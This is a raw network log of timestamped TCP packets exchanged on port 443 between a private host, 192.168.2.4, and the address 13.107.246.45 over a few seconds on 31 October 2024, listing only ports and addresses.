Oct 31, 2024 11:28:36.973613024 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.973876953 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.973895073 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.973910093 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.973916054 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.977159977 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.977200031 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.977305889 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.977518082 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.977530003 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.981296062 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.981375933 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.981462955 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.981499910 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.981549978 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.981610060 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.981610060 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.982626915 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.982640028 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.983927011 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.983959913 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.984040022 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.984242916 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.984260082 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.592989922 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.593513966 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.593540907 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.593980074 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.593986034 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.598452091 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.598798037 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.598819017 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.599210978 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.599216938 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.612035990 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.612318039 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.612335920 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.612685919 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.612692118 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.713231087 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.713891983 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.713910103 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.714283943 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.714293957 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.718087912 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.718384027 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.718411922 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.718732119 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.718736887 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.724395990 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.724530935 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.724591017 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.724740982 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.724757910 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.724776983 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.724782944 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.726922989 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.726979971 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.727088928 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.727140903 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.727140903 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.727159977 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.727170944 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.727519035 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.727540970 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.727602959 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.727782011 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.727801085 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.729100943 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.729140997 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.729219913 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.729346037 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.729362011 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.742093086 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.742115021 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.742155075 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.742187023 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.742219925 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.742377996 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.742391109 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.742408037 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.742413044 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.744337082 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.744354010 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.744421005 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.744534016 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.744548082 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.841604948 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.841682911 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.841738939 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.841753960 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.841793060 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.842009068 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.842009068 CET	49967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.842024088 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.842036009 CET	443	49967	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.844974041 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.845016003 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.845084906 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.845273972 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.845285892 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.849306107 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.849392891 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.849447012 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.849550009 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.849560022 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.849569082 CET	49966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.849574089 CET	443	49966	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.851794958 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.851825953 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:37.852050066 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.852050066 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:37.852078915 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.449243069 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.449846029 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.449867964 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.450367928 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.450376034 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.458735943 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.459108114 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.459125042 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.459583998 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.459589005 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.471259117 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.471704960 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.471715927 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.472238064 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.472244024 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.575871944 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.575942039 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.576020956 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.576303959 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.576319933 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.576335907 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.576348066 CET	49969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.576355934 CET	443	49969	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.576894045 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.576904058 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.577476025 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.577482939 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.579618931 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.579643965 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.579710960 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.579842091 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.579849005 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.588490963 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.588562012 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.588615894 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.588706017 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.588716984 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.588726997 CET	49968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.588732004 CET	443	49968	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.591219902 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.591248035 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.591327906 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.591469049 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.591481924 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.594352961 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.594750881 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.594758987 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.595266104 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.595271111 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.603421926 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.603549004 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.603585958 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.603602886 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.603641987 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.603679895 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.603684902 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.603693008 CET	49970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.603697062 CET	443	49970	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.605838060 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.605856895 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.605931044 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.606076002 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.606089115 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.705126047 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.705192089 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.705252886 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.705416918 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.705435991 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.705449104 CET	49971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.705456018 CET	443	49971	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.707848072 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.707904100 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.707995892 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.708112001 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.708120108 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.724982023 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.725009918 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.725054979 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.725105047 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.725138903 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.725482941 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.725505114 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.725517035 CET	49972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.725527048 CET	443	49972	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.728337049 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.728374958 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:38.728456020 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.728605032 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:38.728622913 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.328223944 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.328722954 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.328736067 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.329179049 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.329185963 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.335836887 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.336189032 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.336209059 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.336601019 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.336606026 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.338357925 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.338696003 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.338705063 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.339101076 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.339106083 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.445849895 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.446346998 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.446388006 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.446783066 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.446793079 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.458867073 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.459147930 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.459238052 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.459306002 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.459325075 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.459336996 CET	49974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.459343910 CET	443	49974	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.461793900 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.461836100 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.461916924 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.462048054 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.462058067 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.465239048 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.465327978 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.465456009 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.465480089 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.465491056 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.465500116 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.465503931 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.465600014 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.466157913 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.466183901 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.466593981 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.466599941 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.467720032 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.467744112 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.467811108 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.467924118 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.467936039 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.471319914 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.471640110 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.471693039 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.471729040 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.471735001 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.471760988 CET	49973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.471765041 CET	443	49973	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.473577976 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.473612070 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.473686934 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.473803997 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.473818064 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.577562094 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.577591896 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.577641964 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.577651024 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.577686071 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.577821970 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.577841997 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.577857018 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.577863932 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.580488920 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.580534935 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.580605030 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.580773115 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.580790043 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.596868038 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.596936941 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.596998930 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.597215891 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.597234964 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.597248077 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.597254038 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.600054979 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.600085974 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:39.600311041 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.600483894 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:39.600498915 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.187520027 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.188065052 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.188116074 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.188554049 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.188561916 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.191088915 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.191519976 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.191564083 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.191958904 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.191967010 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.248054028 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.248738050 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.248760939 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.249202967 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.249208927 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.305471897 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.305965900 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.306003094 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.306549072 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.306566000 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.317404032 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.317493916 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.317555904 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.317706108 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.317722082 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.317734957 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.317743063 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.320645094 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.320687056 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.320749044 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.320872068 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.320880890 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.321913958 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.321943998 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.321991920 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.322016001 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.322032928 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.322086096 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.322196960 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.322212934 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.322225094 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.322231054 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.324578047 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.324600935 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.324800014 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.324800014 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.324860096 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.350219011 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.350703001 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.350723982 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.351186991 CET	49982	443	192.168.2.4	13.107.246.45
